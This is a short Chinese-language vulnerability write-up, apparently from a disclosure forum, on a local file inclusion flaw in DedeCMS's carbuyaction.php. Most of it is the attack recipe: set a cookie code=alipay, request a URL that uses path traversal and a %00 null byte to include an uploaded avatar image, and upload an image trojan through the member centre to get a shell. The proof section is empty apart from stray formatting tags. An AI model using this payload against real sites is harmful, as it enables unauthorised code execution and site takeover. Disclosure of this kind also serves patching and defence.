详细描述在这里。。
本地试了一下，最新版本一样可行。
首先利用cookie修改工具，加上 code=alipay
然后访问
http://www.xxx.com/plus/carbuyaction.php?dopost=return&code=../../uploads/userup/xx/myface.gif%00
直接包含成功
利用条件为GPC OFF ，或者某些环境下的截断。
可以在会员中心里上传个图片木马进行拿shell。
还可以包含dede自身文件进行更多利用，这里就不详细了。
[/p]漏洞证明：
[p=25, null, left][color=rgb(0, 0, 0)]
[/p]
